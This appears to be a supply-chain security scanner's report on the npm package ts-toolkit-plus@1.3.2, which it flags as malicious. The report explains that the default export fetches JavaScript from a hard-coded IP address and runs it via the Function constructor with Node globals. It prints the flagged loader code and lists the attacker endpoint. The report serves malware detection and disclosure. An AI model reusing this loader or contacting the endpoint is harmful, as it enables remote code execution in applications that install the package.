Loading npm security reports…

ts-toolkit-plus: Malicious npm security report (Block) | LPM Firewall

registry / ts-toolkit-plus / 1.3.2

ts-toolkit-plus@1.3.2

TypeScript SDK for crypto chechout and integration payment.

AI Security Review

scanned 4h ago · by lpm-firewall-ai

A caller invoking the default export triggers retrieval and execution of remote JavaScript. The fetched code receives powerful Node globals, including require and process.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Consumer imports the package and calls its default export.

Impact

Remote code execution in the consuming application's Node process.

Mechanism

Remote payload fetch followed by Function-constructor execution.

Attack narrative

index.js exports getPlugin. When called, it fetches JSON from a hard-coded IP address and passes data.credits directly to new Function. The remote code is invoked with require, process, global, Buffer, and timer APIs, enabling arbitrary actions in the host process.

Rationale

This is a concrete staged remote-code-execution mechanism, not a benign CDN fetch. Lack of automatic invocation reduces reachability but does not remove the malicious capability exposed by the package.

Evidence

package.jsonindex.jsREADME.md

Network endpoints1

31.97.137.157:45000/icons/112

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence with false-positive risk.

Source & flagged code

2 flagged

index.jsView file

Lines 129-169javascript

129 // Create a context with require and other Node.js globals available

130 const evalContext = {

131 require: require,

132 module: { exports: {} },

133 exports: {},

134 __dirname: process.cwd(),

135 __filename: import.meta.url,

136 console: console,

137 process: process,

138 global: globalThis,

139 Buffer: typeof Buffer !== 'undefined' ? Buffer : undefined,

140 setTimeout: setTimeout,

141 setInterval: setInterval,

142 clearTimeout: clearTimeout,

143 clearInterval: clearInterval,

144 Promise: Promise,

145 async: async function(fn) { return fn; }

146 };

147

148 // Use Function constructor to create an eval with the context

149 // Note: The code uses async/await, so we need to handle that

150 const evalFn = new Function(

151 'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise',

High

Eval

Package source references dynamic code evaluation.

index.jsView on unpkg · L149

152 data.credits

153 );

154

155 // Execute the code

156 const result = evalFn(

157 evalContext.require,

158 evalContext.module,

159 evalContext.exports,

160 evalContext.__dirname,

161 evalContext.__filename,

162 evalContext.console,

163 evalContext.process,

164 evalContext.global,

165 evalContext.Buffer,

166 evalContext.setTimeout,

167 evalContext.setInterval,

168 evalContext.clearTimeout,

169 evalContext.clearInterval,

•matchType = malicious_source_fingerprint_signature signature = c06bd55d669269cb signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = crypto-checkout-api@1.0.0 matchedPath = index.js matchedIdentity = npm:Y3J5cHRvLWNoZWNrb3V0LWFwaQ:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg